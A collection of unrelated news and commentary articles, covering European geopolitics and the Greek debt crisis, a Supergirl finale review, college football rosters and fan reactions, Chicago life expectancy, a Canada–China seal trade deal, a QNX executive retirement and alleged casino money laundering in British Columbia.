It is not only the division between north and south that bedevils Europe. In the fourth century, the Roman Empire split into western and eastern halves, with dueling capitals at Rome and Constantinople. Rome’s western empire gave way to Charlemagne’s kingdom and the Vatican: Western Europe, that is. The eastern empire, Byzantium, was populated mainly by Greek-speaking Orthodox Christians, and then by Muslims after the Ottoman capture of Constantinople in 1453.
The Carpathian Mountains, which run northeast of the former Yugoslavia and divide Romania into two parts, partly reinforced this boundary between Rome and Byzantium, and later between the prosperous Hapsburg Empire in Vienna and the poorer Turkish Empire in Constantinople. Greece is far more the child of Byzantine and Turkish despotism than of Periclean Athens.
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In antiquity Greece was the beneficiary of geography, the antechamber of the Near East — the place where the heartless systems of Egypt and Mesopotamia could be softened and humanized, leading to the invention of the West, so to speak. But in today’s Europe, Greece finds itself at the wrong, “orientalized” end of things. Yes, it is far more stable and prosperous than places like Bulgaria and Kosovo, but only because it was spared the ravages of Soviet-style communism.
To see just how much geography and old empires shape today’s Europe, look at how former Communist Eastern Europe has turned out: the countries in the north, heirs to Prussian and Hapsburg traditions — Poland, the Czech Republic and Hungary — have performed much better economically than the heirs to Byzantium and Ottoman Turkey: Romania, Bulgaria, Albania and Greece. And the parts of the former Yugoslavia that were under Hapsburg influence, Slovenia and Croatia, have surged ahead of their more Turkish neighbors, Serbia, Kosovo and Macedonia. The breakup of Yugoslavia in 1991, at least initially, mirrored the divisions between Rome and Byzantium.
The Greek debt crisis is the biggest challenge since those Yugoslav secessions to Europe’s attempt at overcoming its geographical and historical divisions. Whereas in the early decades of the cold war the European enterprise had to heal only the long-time rift between France and Germany, now it is a matter of Carolingian and Prussian Europe — Brussels and Berlin — incorporating the far-flung Mediterranean and Balkan peripheries.
And it is precisely because Europe, for the first time in history, faces no outside threat to its security that it may fall prey to the narcissism of its internal contradictions. That the European Union’s northern powers aren’t willing to bail Greece out entirely by themselves, but are relying on the International Monetary Fund to kick in up to $20 billion, shows that there are limits to how far they will go toward the dream of a unified supercontinent.
Still, just as geography has divided Europe, it also unites it. For example, a lowland corridor from the Atlantic to the Black Sea has allowed travelers for centuries to cross the length of Europe with speed and comfort, contributing to Europe’s cohesion and sense of itself. The Danube, as the Italian scholar Claudio Magris rhapsodizes, “draws German culture, with its dream of an Odyssey of the spirit, towards the east, mingling it with other cultures in countless hybrid metamorphoses.” Central Europe, cleft from the West during the cold war, is the continent’s universal joint: a fact that puts the responsibility for surmounting the politics of historical division squarely on the shoulders of a united Germany.
Germans should realize that Greece, with only 11 million people, nevertheless remains the ultimate register of Europe’s health. It is the only part of the Balkans accessible on several seaboards to the Mediterranean, is roughly equidistant from Brussels and Moscow, and is as close to Russia culturally as to Europe by virtue of its Eastern Orthodox Christianity. In a century that will likely see a resurgent Russia put pressure on Europe, especially on the former Soviet satellite states in the east, the state of politics in Athens will say much about the success or failure of the European project.
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The good news is that northern Europeans know this, and will not let Greece fail. Indeed, to let Greece drift politically eastward would forfeit any hope of a big and inclusive Europe — geographically, politically and culturally — in favor of a small and petty one, Charlemagne’s empire pretending to be Rome. |
The CW’s ‘Supergirl’ was an emotional roller-coaster as well as full of action and character growth. Seeing some familiar faces return to the small screen was a refreshing surprise.
Concluding the Daxamite invasion storyline, Superman (Tyler Hoechlin) returned being a big help in the finale fight. His first appearance this season was in the first two episodes and left fans wanting to see him more. Because of the common threat to Earth, Lena Luthor (Katie McGrath) and Lillian Luthor (Brenda Strong) teamed up to try and create a weapon that would force the Daxamites off of Earth. At the same time, Supergirl (Melissa Benoist) challenged Rhea (Teri Hatcher) to Dakkam Ur, an ancient form of dual where the two would fight for Earth. J’onn J’onzz (David Harewood) also joined the fight along with the return of M’gann M’orzz (Sharon Leal) with White Martians to help.
Nothing good comes out of trusting Rhea to uphold the tradition. All she wanted was to take over Earth and turn it into New Daxam. Some of the best scenes going forward were ones that Mon-El (Chris Wood) and Superman (Hoechlin) shared as he accepted him as someone Kara was in love with. The heartwarming scenes were soon replaced by nothing but heroics and sadness. The weapon was deployed leaving all the Daxamites no choice but to leave or die. Mon-El was forced off the planet to survive, sharing a final and tearful scene with Kara as the two said their goodbyes. While the Earth is now safe, everyone around Kara is happy, except her as she is left with a broken heart.
What fans are left talking about is the final moments of the episode. Cat Grant (Calista Flockhart) now knows Kara’s secret, gives her some great advice, and hints at her return. The flashback scene of the destruction of Krypton and another pods leaves a lot of room for speculation. Nothing is yet confirmed other than it appears to be setting up for the villain coming in season three.
When it comes down to the season as a whole, it was a solid 22 episodes. The introduction of characters like Mon-El, Lena Luthor and M’gann M’orzz added a lot to the plot as well as progress character development of others. Lena Luthor was somewhat of an anti-hero throughout the whole season, never fully stepping into the good or evil side. What is left is to wonder whether she will follow in the steps of her brother Lex Luthor, a big enemy of Superman.
Perhaps the most significant character to be added was Mon-El, who came from a planet where tyranny and immoral rule was all it had. However over the course of the season, he was able to overcome who he used to be and grow into a hero. The romance with him and Kara was not something that overshadowed the plot in any way. Most of the time, the two shared scenes together that showed how much they cared for each other, but it didn’t take time away from the main focus of the episodes.
All in all, this episode was a great conclusion to the second season. The acting was really on point and portrayed the story and emotions very well. ‘Supergirl’ returns to The CW in October 2017.
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The Miami Hurricanes football team had its roster updated Thursday, with 11 new scholarship players, two walk-ons -- and two deletions.
The deletions: scholarship cornerback Larry Hope, who would have been a redshirt freshman in 2014; and walk-on quarterback Garrison Lassiter, the former minor-league baseball player with the New York Yankees organization who gave up baseball to come to college and give football a try.
A UM spokesman said he had no additional information on Hope and Lassiter. Hope played in two games last season and had three tackles. Lassiter never played.
Here are the new 11 (and their jersey numbers), taking summer classes and getting ready for fall ball:
No. 7: S Marques Gayot of Lake Worth Park Vista Community High.
No. 9: DE Chad Thomas of Miami Booker T. Washington.
No. 12: QB Malik Rosier of Mobile, Ala., Faith Academy.
No. 15: QB Brad Kaaya of West Hills, Calif., Chaminade-Madonna.
No. 22: DB Kiy Hester of Wayne, N.J., DePaul Catholic.
No. 57: DE Mike Smith of Miami Northwestern.
No. 68: OL Nick Linder of Fort Lauderdale St. Thomas Aquinas.
No. 82: WR Tyre Brady of Homestead South Dade.
No. 92: DL Courtel Jenkins of Wayne, N.J., DePaul Catholic.
No. 95: DL Anthony Moten of Fort Lauderdale St. Thomas Aquinas.
No. 44: DE Demetrius Jackson of Miami Booker T. Washington.
Here are the walk-ons:
No. 16: P Justin Vogel by way of UF and before that, Tampa Berkeley Prep.
No. 24: K Michael Badgley of Summit, N.J. High.
No. 43: FB Tyler Odems of Manassas, Va., by way of Dean JC (I'm told he didn't play) & Osbourn Park High.
Practice expected to begin Aug. 5th.
SUSAN MILLER DEGNAN |
For many anti-Trump comedians and show creators, making fun of President Trump is almost seen as passé. In fact, for South Park creator Trey Parker, he wants to stop using his show to focus on Trump to make fun of him because everyone seems to be doing it.
In an interview with the Los Angeles Times promoting his role in the new film Despicable Me 3, Parker (along with his co-creator Matt Stone) felt that their show became a linchpin to the chorus of anti-Trump comedy circuit.
“We fell into the same trap that ‘Saturday Night Live’ fell into, where it was like, Dude, we’re just becoming CNN now. We’re becoming: ‘Tune in to see what we’re going to say about Trump.’ Matt and I hated it but we got stuck in it somehow,” Parker said.
“This season I want to get back to Cartman dressing up like a robot and [screwing] with Butters, because to me that’s the bread and butter of “South Park”: kids being kids and being ridiculous and outrageous but not “did you see what Trump did last night?” Because I don’t give a … anymore.”
It’s not the first time that Parker has expressed this sentiment. When speaking to Bill Simmons of The Ringer, both Parker and Stone assumed Hillary Clinton would win, so they did a whole season story arc surrounding how girls have been slighted. And, of course, Trump’s historic upset completely changed all that.
“We were heading down this whole path [with] this big boy-girl war going on, and everyone thinks, ‘OK well hooray, Hillary’s gonna be president.’ And that means that Bill Clinton is the first gentleman.” Parker explained. “That to us was the most ironic, coolest thing to focus on. ‘OK, there you go, you win, he’s officially the first gentleman, how do you feel, girls?’ And that’s where the whole season was going and that’s what really got torn apart. [Mr.] Garrison [who portrayed Trump] was supposed to come back and just start teaching again and all this stuff and we were now just locked in to this other [timeline].”
For some who are looking to get away from politics, it’s nice to know that at least one comedy show is planning to provide an escape that focuses on making fun of everything again, rather than just the man sitting in the Oval Office.
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Chicago Average life expectancy: 78 Health authorities in Chicago spotted an unusual pattern: Life expectancy defied income in a number of neighborhoods, possibly because of the influx of immigrants who tend to live longer than native-born Americans. “We look at life expectancy to help us identify where the problems are,” said Dr. Julie Morita, the city’s health commissioner. “So when we have resources available we can direct them to where the need is greatest.”
The Near North Side and the Loop, affluent downtown neighborhoods with median income of over $80,000 have the highest life expectancy in Chicago. Rogers Edison Park Park 80 81 77 83 North Park 80 81 O’Hare 84 80 International 80 O’Hare Airport 82 Uptown 81 76 Portage 80 Park 81 82 80 80 80 80 80 Lincoln Park In racially diverse Hyde Park 70 percent of residents have a bachelor’s degree or higher and life expectancy is 13 years longer than in Washington Park to the west. There, residents are almost all black and just 15 percent have a bachelor’s degree or higher. 80 80 West Garfield Park residents are 97 percent black, nearly 50 percent of households have an income of less than $25,000, and the neighborhood is tied for lowest life expectancy in Chicago. 81 Humboldt 80 85 Park 72 75 Loop Near West Side 72 69 85 79 72 81 81 82 82 80 74 80 South Lawndale, a low-income area in the western part of the city that is mostly Hispanic, has a life expectancy of 82, higher than even of some of the city's most affluent areas. 74 81 74 79 74 70 81 Washington 79 Garfield Ridge 82 81 Park 80 69 Clearing 75 71 70 Chicago 77 81 Lawn South Shore 71 75 72 Auburn 78 75 Gresham 73 74 73 Calumet 72 Heights 75 77 81 76 78 Roseland 80 73 South Deering 75 76 West Pullman 72 77 76 77 83 81 84 80 O’Hare 80 82 81 76 81 82 80 Near North Side 80 81 80 85 75 72 West Garfield Park 69 85 79 72 81 81 82 South Lawndale 82 Hyde Park 80 74 81 70 79 74 81 82 79 69 80 77 75 70 81 75 71 72 75 73 78 74 73 72 77 75 81 78 73 80 75 76 72 77
There’s a 13-year gap in life expectancy between Hyde Park and it’s neighbor to the west. Hyde Park is racially diverse, but well educated — 70 percent have a bachelor’s degree or higher. Washington Park is almost entirely black, and just 15 percent have a bachelor’s degree or higher
West Garfield Park residents are 97 percent black, nearly 50 percent of households have an income of less than $25,000, and the neighborhood is tied for lowest life expectancy in Chicago.
South Lawndale, a low-income area in the western part of the city that is mostly Hispanic, has a life expectancy of 82, higher than even of some of the city's most affluent areas. |
The 2016 NFL season became known for the intermingling of football and politics. So, it should come as no surprise that only one week into 2017, that unholy alliance once again reared its ugly head.
On Saturday afternoon, the Texans and Raiders faced off in the wild-card round of the NFL playoffs. The game pitted a third string quarterback making his first start against a monumentally overpaid free agent who was recently benched before getting his job back due to injury. If that alone didn’t make you want to turn the channel, during the game ABC ran a promo for this week’s upcoming episode of the sitcom “Black-ish.”
The theme for the next edition of “Black-ish” is a 30-minute Trump-lamenting tirade promoted as, “the election through the eyes of Black-ish.” Needless to say, the “eyes of Black-ish” did not smile in the aftermath of the election:
At least they’re being upfront about their naked ambition to use this episode to create a Twitter firestorm. Some fire storming already ensued on Twitter after Trump supporters saw the promo on Saturday:
Why does the @NFL keep playing a anti-Trump commercial for the terrible show Blackish? They must not know their audience #MAGA #HillaryLost — WolvesandSheep (@mikechilden) January 8, 2017
No one watch #blackish. Not everyone who voted for Trump is a racist. That show caters to the lowest common denominator. How insulating #ABC — Matt Falk (@therealmjf1) January 7, 2017
Man, #Blackish looks so original! A Trump voter isn’t racist because she has black friends! Can’t wait to never watch a second of that show. — Steve James (@BigBuckeye24) January 8, 2017
The show probably hopes the President-elect will throw some gasoline on their Twitter firestorm by tweeting about the episode. After all, he has tweeted about “Black-ish” before:
How is ABC Television allowed to have a show entitled “Blackish”? Can you imagine the furor of a show, “Whiteish”! Racism at highest level? — Donald J. Trump (@realDonaldTrump) October 1, 2014
I sincerely hope Trump doesn’t tweet about the episode. “Black-ish” clearly intends to profit through demeaning Trump voters with every insulting stereotype under the sun. Having Trump, albeit unintentionally, adding to the show’s success and impact by tweeting about it would just be gross. The “Boycott the NFL” movement got some serious traction this year thanks to the antics of Colin Kaepernick and others. The best thing conservatives could do on Wednesday night is boycott “Black-ish” as well.
Follow Dylan Gwinn on Twitter: @themightygwinn |
Photo by: CUNY
A group home for young runaways run by a prominent nonprofit is under scrutiny as current and former residents say staffers there used excessive force, engaged in sexual misconduct and mismanaged residents’ finances.
The Administration for Children’s Services tells City Limits that it is investigating the allegations leveled against the Gramercy Residence run by Green Chimneys.
Up to 40 percent of homeless youth are lesbian, gay, bisexual or transgender, and the unique needs of that population were the focus of a recent White House-sponsored conference. Green Chimneys is a leader in the field of supporting at-risk youth.
The organization did not speak to us on camera, but while the the video report below was being edited, did provide the following statement:
“The care and safety of the youth at our Gramercy group residence is the primary concern of Green Chimneys’ New York City division staff and agency administration. We take all allegations very seriously and have done a careful investigation into the recent claims. We have a consistently strong record of service and a long history of providing care and support to our residents. Our fully trained staff follow all agency and program policies and procedures, which serve to maintain a safe and supportive environment for our youth, and we immediately address any reported issues as mandated by the City and State agencies to which we are accountable.” |
Georgia's coaches are all dead. This is the good news for them after Auburn catches a Hail Mary that two Georgia players lovingly put on a platter for the Tigers.
If they were not dead — and they are dead — they would have to put up with Georgia fans, at least those who are not dead. Which most of them are. The embattled post-apocalyptic survivors are slightly pissed off. And mutants. But mostly pissed off.
Game thread:
DE MOTHERfrickING FENSE!!!!! WE GOT THIS SHIT!!!!!
Relying on the defense. Not feeling good.
How much time?
1:45
Wow.. good play there. Used some clock on that one, too.
Let's get a stop!
This is it men!!!!!! Comeback of the YEAR!!!
BLITZ.....DO NOT RUSH 4. Please Grantham
Oh no 4th and long against Auburn.
Anybody else more nervous about 4-18 than a 4-5?
I think we bring it on this..the farm...all in....
The event happens, and this is the most perfect response in the history of game threads.
(no message)
and then
WHAT THE F$&K!!!!?????????????????
I knew it, I knew it. 2005 all over again.
Why did they not knock it down. It makes no sense.
Thats why u just knock it down. Easy win and dude is going for a pick. WOW
it sums up our lives as UGA fans...we are the Cubs fans of college football.
Wow! just wow! The Football Gods hate us...
I can't believe how lucky Auburn can be! what a fricking joke!!! WE WON THAT GAME AND THAT DUMB THIEF STOLE ANOTHER GAME FROM UGA!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
That's in reference to Auburn quarterback Nick Marshall, who was at UGA until an incident got him kicked out of school.
In the aftermath, this man decided he would commit internet suicide.
frick wins and losses (Posted on 11/16/13 at 8:21 pm) This is the best damn season of football I have ever watched. I've damn near been on the edge of my seat all season. So glad I'm not a bama fan watching all those boring arse games. Go Damgs!
Go damgs!
Responses:
Damn Good Dawg: fricking moron dawgfan24348: No DaveyDownerDawg: You are a fricking idiot if you think this is an exciting football season. Gotdamn Disney muthafrickas!
Choose a side.
Disney or Doom which are you? (Posted on 11/17/13 at 1:14 am) With a lot of new poster/alter on the board Me thinks we need to know where everyone stands
option 1 option 2 option 3
Myself I fall in the Option 2. I always have hope for the dawgs but also feel there needs to be some sort of change in the way the coaches are doing business........ everything isnt the Magic Kingdom but its not TWD Atlanta either...
Aaand finally, DC Todd Grantham is less than popular at the moment.
I cannot stand ginger thor that soulless jack ass
Georgia, you have acquired the Tears of Unfathomable Sadness. Next time, bat them down, not up.
ACC
This was actually last week.
Miami lost to Duke, and that makes a lot of fans think "my team is worse than Duke." Like, oh, I don't know, me. But this bit is about Miami. Delving into Canespace, where a Styx reference…
The 1980's rock group Styx had it right. It is possible that Miami head coach Al Golden has pulled the "Grand Illusion" over Miami Hurricane fans.
…is immediately followed by a profuse apology.
Open Letter To Hurricane Fans And Coach Golden Last night, after Miami's tough loss to Duke, I was very harsh and critical about the game and UM head coach Al Golden. While I, like most Hurricane fans, am still very disappointed with the loss to the Blue Devils, I wanted to apologize to Hurricane fans and Coach Golden for my rant and venting on the blog.
This has about 20 fewer instances of the word "azz" than expected. But before that, the guy whose run Canespace since 2006 — it is prehistoric in internet terms — was going to quit:
No, Sorry folks, but I am not kidding or bluffing, I am done. There will be no more Canespace after this season is over. I can't take it anymore. If someone wants to buy me out and take it over email me at: [email protected] NO SERIOUSLY.
He got better.
Elsewhere in that thread:
an abomination of an abortion of a sham of a travesty of a football game
Look at the bright side I bet we would kill duke at bench press absolutely dominate
IT'S SO BAD THAT IM NOT EVEN MAD??? I WON'T LET THIS CRAP DESTROY MY WEEKEND. LOVE MY FAMILY MORE THEN THE CANES AND THAT IS MOST IMPORTANT TO ME. … I WILL HAVE MY SIGN THIS SATURDAY. D"NO= NO"D LOOK OUT FOR IT, WE'LL IT WON'T BE REALLY HARD ME BEING ONE OF THE 9,000 THERE
That's from "Canezilla."
Judging from ABC's ratings, I'm surprised they don't put us in prime time and try to fool people into watching by calling it "Finishing Bad".
I see what you did there.
Big Ten
I was live and in person as Northwestern lost in a way only Northwestern could lose, as Michigan pulled off the fire-drill, last-second field goal for the first time in history (probably). I'd promised to find a Northwestern fan and give him the Good Will Hunting fix and did not, so let me just say to any Wildcat fans who stumble across this while trying to find a support group: it's not your fault.
This also demands a gamethread delve. Starting from the top:
Why am I here
Let's get this over with What a sad game all around
*vomit* 2 runs for nothing and then a 6 yard pass on 3rd and 8 it’s like john shoop is still haunting the chicagoland area
"Even on a Saturday the library's busy" Come on, there was just one guy on a laptop in that b-roll! Stereotypes!
is there a name for this? where one team moves the ball down the field, without punting or turning it over?
i think it's called a fluke
NU punts for six yards, up 9-3.
WOW.
This is the part where I shoot myself
THIS IS A FUN GAME TO WATCH
Michigan goes three and out from the 10, FG, 9-6. Northwestern punts, M gets down to the four, goes on fourth and two, stuffed.
well that is not what i expected to happen
Michigan's got the ball, attempting to score in the two-minute drill.
It's time to clench your heinies everyone.
NO F--- YOU WHY WOULD YOU DO THAT
I have no idea why this person said this thing, because, well, everything about this game demands that statement.
we will somehow find a way to lose this right?
Gardner's fourth or fifth ball into a Northwestern defender's chest that is not brought in…
God damn it catch that shit aguahgh
how can you drop that!
I seriously just want to cry. This is the worst season of football I've ever seen
Michigan does the thing with the field goal.
First, Bring Your Champions, They're Our Meat:
Incredible. I am flabbergasted. My gast is flabbered. — BYCTOM (@BYCTOM) November 16, 2013
WHAT
ARE YOU F---ING KIDDING ME
lolololololololololololo
F--- EVERYTHING
and I'm officially crying … I am a person who is just about incapable of crying I’ve been clutching a pillow sobbing for a minute straight.
Just give both teams an L and be done with it
can't wait to buy a game worn jersey
Yeah, you'll definitely want to memorialize this season
Overtimes happen. Michigan wins.
Well at least it's not as bad as what just happened to Georgia
And this man may be dying, or may already be in hell:
I'm sick...really Dear Northwestern Wildcats – You are killing me. I am not kidding. My blood pressure is 164/97… Pulse is dangerously fast… Family is saying that they will sue Northwestern if I die watching a game. Just took emergency blood pressure meds… Family is starting to think I have a death wish because I refuse to miss a Northwestern game… The Nebraska game almost killed me. After this game, I’ve one foot in the grave and another on a banana peel. Family noted that they are glad that "Are you a Northwestern Fan?" isn’t on insurance applications. I’m having an existential crisis here… Maybe I’m actually dead and wound up in Hell. Or maybe I can’t die – even with my blood pressure spiking. Family is starting to think I’m insane for being a Northwestern fan. That’s probably true. But I plan on watching the next game anyway.
As for Rodger, he wrote this:
People say things like "this is the worst football game I've ever watched" a lot. But I genuinely think this was the worst football game I've ever watched in regulation. … Of course, because there's a god of football and he hates us all and wants us to be unhappy, Michigan ran a awful, terrible two-minute drill, and somehow managed to have their holder slide in for a game-tying field goal to make it 9-9 going into overtime. Yes, we had to watch another Northwestern overtime game. Then we had to watch a Northwestern double overtime game. Then we had to watch a Northwestern triple overtime game.
And ate pudding looking like this:
This is @rodger_sherman drowning his sadness in pudding. pic.twitter.com/NOQuZIjYcA — sir broosk (@celebrityhottub) November 17, 2013
And everyone was sad. It's not your fault, Rodger.
Finally:
I’m going to go decapitate a house cat and leave the head on Pat Fitzgeralds lawn. It seems like the most rational thing to do at this point.
They probably should just abandon the idea of college football in Illinois entirely at this point.
Dana Holgorsen is Derek Dooley with bad hair.
Big Twelve
The hot bag of garbage that is Kansas snapped its epic conference losing streak on Saturday, and whoever that happened to is going to go nuclear. So come on down, West Virginia.
Oh man no.
"@ronwrightwanabe Dana Holgorsen is Derek Dooley with bad hair — Brian Hartman (@BrianH618) November 16, 2013
Holgorsen should shave his head or get a hat. Also, apparently his buyout is $11 MILLION. Whoa. — Blake (@blakekresge) November 16, 2013
Leave the man's hair alone, Twitter. Unless you want to destroy the rest of the national monuments, too, you Ron Swanson, you.
You can tell when things get bad at WVU when people start pining for Rich Rodriguez. This one brings unusual flavor to the party:
Why I miss Rich Rod... I was his dog trainer, and would meet with them, well mostly Rita once a week. I'm not gonna lie, they have paid the most out of all of my clients. I miss it. Too bad Dana doesn't have a dog.
wvuweaponX: Warning. You're leaving an awful lot to the imagination for this board.
This is especially selected to force Orson to lay down with palpitations:
Will Muschamp is exactly who I feel we need as a coach at WVU He's going to be fired at Florida after they killed by FSU on the 30th. Great defensive mind that has coached in the conference before and knows how to recruit key areas like Florida, Georgia, and Alabama.
And banghead.gif:
Well, WVU leads the Big 12 Conference in Excuses.
Rutgers, Marshall and MAC teams would beat WVU this year, even though none of those have won against the Mountaineers since 1949.
But we are NO. 1 -- in excuses.
Spare me. Just win the damn ball games.
It's Kansas. The only time there's crying in football is when you lose to Kansas. It happens about every 3 years or so.
In response:
I, too, am fed up with excuses. Our coach sounds like obama (sic). He continues to come across as immature, and shows less leadership than the AFLAC duck.
That guy just deployed (sic) on something he wrote. Bro, do you even edit?
Always look on the bright side of life:
wear black to the last home game as a sign of protest for a dying program wvuweaponX: Typically, I'd ridicule these types of threads but I think this is an unmistakable message plus, it gets fans to the game. llllllllll: I think everybody should come in wearing Pitt apparel to symbolize what is at the end of the path that this program is on. That would really get some attention.
Texas got run out of the building by Oklahoma State in a harsh reality check after scooting out to an undefeated, if obviously fortunate, start to their Big 12 season. When not evaluating coaching candidates (Wisconsin's Gary Andersen is the commentariat's favorite), Barking Carnival is threatening old people:
Bummer of a game, but unlike the BYU liver punch, my blood pressure never broke 120/80. I know this because I watched the entire game at a Walgreen's pharmacy on my iPad, my arm wrapped in a free screening pressure cuff, eating Mike & Ikes. When old people rolled up on their Hovarounds to test their own blood pressure on the machine that I dominated for three plus hours, I shooed them away by throwing their medicine into the diarrhea aisle and telling them to register any complaints on the Health & Human Services website.
Texas, you're back. We've missed you.
Pac-12
Stanford made their loss to Utah a lot less inexplicable by empowering Coach O to run around with a sword (THOUSANDS DEAD IN BIGFOOT RAMPAGE – LA Times) after USC beat them. Now comes the hard part: trying to understand Stanford fans.
I still think we'll be a winning team next year, but can't see any way we'll be elite. Do we regress to the mean now and go through cycles of somewhat strong seasons interspersed with poor seasons? In other words, did we just finish the Good Old Days?
Regress to the what lol.
…this loss hurts and it literally made me lose sleep last night, but the sky isn't falling. Try to be positive!
I mean…
I'd rather play the LA teams every year then every other. I don't mind a incredibly tough schedule. It's given us some great football so far this season.
I hate you, Stanford fans. Not because you're bad people. Because your internet is sane. This is not the internet the rest of us know. I am going to point some laser pointers at your chest, and then see how you feel.
Cal lost to Colorado, confirming themselves the worst team in the league and making it a bad week for West Coast nerds everywhere. Cal fans are usually in the tweed jacket and bubble pipe category, but even in year one this is too much for some:
I want firings. I don’t care who, but the defensive staff gets top billing above all else.
atomsareenough: You know, I’ve come around. This game finally did it. The fans need a scalp. Auricursine: Isn’t bloodlust something???
I want the kids to do well, but this year is like an undisciplined classroom under a rookie teacher with no training.
Well, everything is looking up. since we are flat on our backs.
Yes. Come to the darkside, nerds of the Bay Area. Go Cal! (You're going to die.)
SEC
South Carolina actually won, because they were playing Florida, and Florida is SEC Michigan, but at one point things looked grim and this child embodied the last three months of my life:
Speaking of Florida, teams are now getting their kicks on the lifeless body.
Via bullg8rdaddy
There is only one logical response:
Gators Should Stop Playing "Fair" One thing I'm tired of as a fan is Florida trying to be above the fray when it comes to NCAA rules. Screw the NCAA!. I don't care if players use drugs or sell autographs. Talent should only come off the field for very good reasons. The fact that we had Cam Newton sitting behind Tebow and lost him over a stolen laptop and maybe some classroom cheating makes me sick. So, the kid just plays Juco for a year, and then any other university can recruit him. What kind of rules are these? We should have paid hush money to the victim of the laptop theft, ignored any cheating in the classroom by Newton, and enjoyed another Heisman winner and won more games. Instead, we were left with Brantley and the "3-bow" offense.
Things have to change. In most jobs in the US, there are not drug tests performed on employees throughout the year. They're usually only performed pre-hire or after a workplace injury. Also, why should anyone else in society be able to make money based on any fame they obtain, but college athletes are forbidden to do so? Even Olympic athletes can earn money from endorsements.
I was going to make fun of this but now I think this guy could take Mark Emmert in a debate.
NEXT WEEK: Nothing of interest happens in the ACC except Duke going 9-2 to make you feel horrible about your team! Baylor! Oklahoma State! #pray4scoreboards! Northwestern leads MSU late, loses in improbable fashion! Illinois versus Purdue! Cal loses to Stanford by 80! Does Georgia Southern Have a chance against Florida? Maybe!
More from SB Nation college football:
Follow @SBNationCFBFollow @SBNRecruiting
• Full Week 13 TV schedule, including five ranked games
• Start hot: this week’s best stats in The Numerical
• TWIS: Georgia fans react to Auburn’s insane Hail Mary
• Bowl projections: Bama-FSU, Clemson-Wisconsin and more
• Long CFB reads | Has Baylor crafted the ultimate football offense? |
China has agreed to buy seal meat and seal oil from Canada, according to the federal fisheries minister.
"[We are] natural partners in the seafood industry," Fisheries Minister Gail Shea said Wednesday during a trade mission to China with Newfoundland and Labrador Fisheries Minister Clyde Jackman.
Shea said the deal between Canada and China will be signed Thursday.
P.O.V.: Do you support Canada’s new deal to sell seal meat to China? Take our survey.
"For the most part, our sealing industry derives its income from the sale of pelts," said Shea, in Beijing during a conference call with reporters.
"They don't get a lot of return from the sale of meat and oil, but what we are hoping to do because China is such a large market is work with our industry to support them in developing new products … so there is a lot of optimism in the industry today."
The price for seal pelts, which was at a high of more than $100 each a few years ago, sank to as low as $15 last year.
Gail said it is not possible to say what the value of the deal is now. She said the market will determine that.
Relief after a European ban
Seal hunters in Eastern Quebec are welcoming the deal after the European Union imposed a ban on imports of Canadian seal products in 2009.
Magdalen Islands Sealers' Association head Denis Longuépée says the deal will ease the financial losses for sealers brought on by the European ban.
"With this signing this morning, we're happy that countries like China decided not to follow those other countries, and sign with Canada. The population is so high in China that if everybody buys some pelt or product from seal, we won't have to trade anymore with Europe. So it's good news for us," said Longuépée.
The new deal covers edible seal products, but Longuépée believes it will stimulate sales of seal pelts as well.
The International Fund for Animal Welfare denounced the agreement, calling the seal hunt cruel, and saying it plans to launch a campaign against it in China.
Seal products from traditional Inuit hunts for subsistence are exempt from the ban, but Inuit groups challenged the general ban, arguing it would make it more difficult for them to sell their products. That argument was rejected in October by European Court of Justice Judge Marc Jaeger, who said the Inuit didn't provide evidence to justify their fears.
Animal protection groups applauded the decision.
Earlier this year, the Canadian government said the ban is unacceptable. It’s pursuing a complaint at the World Trade Organization.
Research by the federal Fisheries Department has found that the harp seal population of Atlantic Canada is now at between eight and nine million animals. A 2004 assessment of seal stocks estimated the harp seal population in the area at between 4.6 and 7.2 million. |
According to a new report from the Globe and Mail which has been confirmed by BlackBerry, Dan Dodge, co-founder and CEO of QNX Software Systems has resigned from the BlackBerry subsidiary, and will retire at the end of the year.
We are grateful for Dan Dodge's contributions to QNX and BlackBerry and his work building a start-up to an undisputed leader in embedded software. With Dan's retirement, John Wall, who has been instrumental to the success of QNX as Chief Operating Officer, will transition into the role of Senior Vice President and Head of QNX. We're appreciative of Dan's 35 years of dedication to QNX and wish him all the best in his retirement.
As Dodge notes in the article, "My decision to leave was my own," he said. "I threw my own party, invited everybody from QNX that I've known over the last 35 years and we had a grand time". Dan Dodge and Gordon Bell began work on QNX as students at the University of Waterloo in 1980 and by 1982, the first version of QNX was released. In 2004, QNX Software Systems was sold to Harman International Industries and was already widely used in the automotive industry for telematics systems.
On April 9, 2010, QNX Software Systems was then sold to then Research In Motion which then used it to power the BlackBerry PlayBook, BlackBerry 10, the BlackBerry IoT Platform and continues to grow it through various sectors such medical devices, industrial automation systems, network routers, and other mission- or life-critical applications as well as the automotive industry where it's currently used in over 50 million vehicles. Enjoy your retirement Dan, and thanks for everything! |
Richmond real estate lawyer Hong Guo says Chinese police have charged two of her former employees in connection to the disappearance of about $7.5 million that Guo alleges was stolen from her firm’s trust account, laundered through B.C. Lottery Corp. casino accounts, and transferred to China in the form of casino chips.
At a press conference Monday, Guo claimed that through her own investigations in B.C. and China, she has forwarded sufficient evidence to Chinese police authorities in order to secure charges against her former employees.
Guo claimed that through court actions, she has obtained B.C. casino transaction records to support her case.
Postmedia News has reported extensively on Guo’s case since late 2016. However, Guo’s allegation that suspects exploited weaknesses in B.C. Lottery Corp. accounts in order to launder funds stolen in Richmond and to transfer the criminal proceeds to China, will receive heightened scrutiny in the midst of an independent review into allegations of transnational money laundering in B.C. casinos. The first recommendations of Attorney-General David Eby’s reviewer Peter German will be released Tuesday.
In legal documents, Guo alleges that her former employees developed an inappropriate relationship in the office, and through a complex scheme, in March 2016 drained her trust account by forging her name on cheques, and then deposited millions in bank drafts into BCLC client accounts. Cash was withdrawn from casino accounts and somehow ended up in China, Guo’s legal filings allege.
On Monday, Guo added new details, alleging that suspects made massive cash and playing chip withdrawals from New Westminster’s Starlight Casino before fleeing to China.
“The facts I know, is (a female employee) took cash from her account every day, for a short period of time … $700,000, and $800,000. It’s a large amount. So the casino doesn’t think something is wrong?” Guo said.
Guo claimed that she also interviewed a New Westminster casino manager about her concerns.
“The manager said that, if you give us bank drafts into our account, the policy is you can (withdraw) as much cash as you like,” Guo said. “As long as it is a bank draft (deposit) you can withdraw cash.”
Even further, Guo claimed her investigation showed that gamblers can transfer BCLC casino chips to casinos in Asia, in order to exchange the B.C. gambling chips for cash outside of Canada.
Guo issued a statement saying: “Evidence obtained by Hong Guo through court order and Freedom of Information requests show (a female employee) transferred the money in the form of casino chips from her account at New Westminster’s … casino to casinos in China where they were turned into cash.”
Related
